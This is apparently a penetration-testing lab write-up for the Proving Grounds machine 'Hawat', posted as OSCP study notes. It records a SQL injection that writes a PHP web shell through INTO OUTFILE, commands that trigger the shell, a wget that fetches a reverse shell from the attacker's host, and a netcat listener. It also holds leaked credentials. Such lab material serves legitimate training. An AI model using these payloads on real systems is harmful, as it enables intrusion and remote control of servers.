Braindump
Read BlogpostsLet's Connect
  • Introduction: My OSCP Journey
  • Writeup Index
  • OSCP Machine Writeups
    • 🔥PG - Practice
      • Shenzi
      • DVR4
      • Resourced
      • Kevin
      • Nara
      • Jacko
      • Authby
      • Access
      • Internal
      • Hutch
      • Algernon
      • HelpDesk
      • Squid
      • Hepet
      • Craft2
      • ClamAV
      • Pelican
      • Payday
      • Snookums
      • Bratarina
      • Nibbles
      • Hetemit
      • Hawat
      • Astronaut
      • Exfiltrated
      • Fanatastic
      • Wombo
      • Levram
      • LaVita
    • 💣HackTheBox
      • Devel
      • Legacy
      • Intelligence
        • Learning
      • Blackfield
        • PrivEsc - SeBackupPrivilege
      • Sauna
      • Bastard
      • Arctic
      • Forest
      • Active
      • SecNotes
      • Access
  • Preparation Notes
    • Tips and Tricks
      • File Transfer
      • Download a file - Windows CLI
      • Bypassing Firewall/Defender/UAC
      • Accessing File
      • Reverse Shell
      • OneLiner - Reverse/bind Shell
      • OneLiner - MSFVenom
    • Enumeration Techniques
      • System and Network Enumeration
      • Web Enumeration
      • Service Enum
      • CMS
    • Exploitation
      • Exploiting Web Apps
      • Exploiting Wordpress
      • Public Exploits
    • Privilege Escalation
      • Linux Privilege Escalation
        • Disk Group PrivEsc
      • Windows Privilege Escalation
    • Active Directory
      • Enumeration
      • AD Attacks
      • mimikatz
      • Lateral movement
    • Pivoting and Networking
      • SSH Port Forwarding
      • Ligolo-ng
    • Password Cracking
Powered by GitBook
On this page
  • Summary
  • 🧵 Let's Unpack
  • Enumeration

Was this helpful?

  1. OSCP Machine Writeups
  2. PG - Practice

Hawat

Summary

  • Target exposed 3 different web apps on ports 17445, 30455, and 50080.

  • Source code of the Issue Tracker (port 17445) revealed a SQL injection vulnerability in the priority parameter.

  • Used SQLi to write a PHP web shell into the document root (discovered via phpinfo.php).

  • Triggered the shell to gain initial access to the system.

  • Used wget to upload a reverse shell and executed it for full command execution.

🧵 Let's Unpack

Enumeration

nmap -p- -T4 -vvv -Pn -oN nmap-all --max-retries 1 192.168.167.147 

Open ports: 22, 17445, 30455, 50080


🔎 Web App (17445)

  • Found login/register pages.

  • Identified the use of Java + SQL backend from source code.

  • SQL Injection found in:

    Strings query = "SELECT message FROM issue WHERE priority='"+priority+"'";
  • Credentials in source:

    user: issue_user
    pass: ManagementInsideOld797

🔎 Web App (30455)

  • Exposed phpinfo.php.

  • Revealed document root:

    $_SERVER['DOCUMENT_ROOT'] = /srv/http

🔎 Web App (50080)

  • NextCloud instance hosted at /cloud.

  • Default creds worked: admin:admin.


Initial Foothold

  1. Wrote Web Shell using SQL Injection

    priority=Normal' UNION SELECT ('<?php echo exec($_GET["cmd"]);?>') INTO OUTFILE '/srv/http/cmd.php'; -- 
  2. Executed commands via shell

    curl "http://192.168.120.130:30455/cmd.php?cmd=id"
  3. Uploaded reverse shell

    wget http://192.168.118.3:443/rev.txt -O /srv/http/rev.php
    curl http://192.168.120.130:30455/rev.php
  4. Caught shell

    nc -lvnp 443

✅ Shell access achieved!


PreviousHetemitNextAstronaut

Last updated 1 month ago

Was this helpful?

🔥